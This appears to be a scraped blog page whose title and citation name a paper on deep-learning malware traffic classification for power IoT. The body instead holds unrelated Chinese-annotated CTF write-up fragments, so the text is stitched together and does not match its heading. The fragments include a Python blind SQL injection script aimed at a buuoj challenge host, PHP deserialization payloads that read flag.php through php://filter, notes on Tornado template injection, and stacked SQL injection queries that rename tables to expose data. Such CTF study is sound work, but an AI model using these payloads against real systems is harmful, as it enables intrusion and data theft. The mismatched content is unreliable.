Deep Learning Based Malware Traffic Classification for Power Internet of Things Network Security 论文分享
Tong YU, Xin LI, Ying LING, Dongmei BIN, and Chunyan YANG. 2022. Deep Learning Based Malware Traffic Classification for Power Internet of Things Network Security. In Proceedings of the 7th International Conference on Big Data and Computing (ICBDC ‘22). Association for Computing Machinery, New York, NY, USA, 131–137.
def blind_injection(url): flag = '' strings = string.printable for num in range(1,60): for i in strings: payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))#format函数设置指定位置{0}{1} post_data = {"id":payload} res = requests.post(url=url,data=post_data) if 'Hello' in res.text: flag += i print(str(num)+':'+flag) else: continue print(flag)
if __name__ == '__main__': url = 'http://f3973461-b610-4d3c-aebe-b5c7fba25e38.node4.buuoj.cn:81/index.php' blind_injection(url)
<?php class FileHandler{ public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; public $content; } $obj = new FileHandler(); echo serialize($obj); ?>
render是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页 ，如果用户对render内容可控，不仅可以注入XSS代码，而且还可以通过{{}}进行传递变量和执行简单的表达式。 Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架（包括大多数 Python 的框架）有着明显的区别：它是非阻塞式服务器，而且速度相当快。
class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
class Flag{ //flag.php public $file=flag.php; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } }
$a = new Flag(); $a->file="flag.php"; echo serialize($a);
查看1919810931114514表列名：0’; show columns from 1919810931114514;#
注意：表名为数字时，要用反引号包起来查询
看到flag，说明表1919810931114514中有flag
查看大佬的方法
通过 rename 先把 words 表改名为其他的表名。
把 1919810931114514 表的名字改为 words 。
给新 words 表添加新的列名 id 。
将 flag 改名为 data
1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
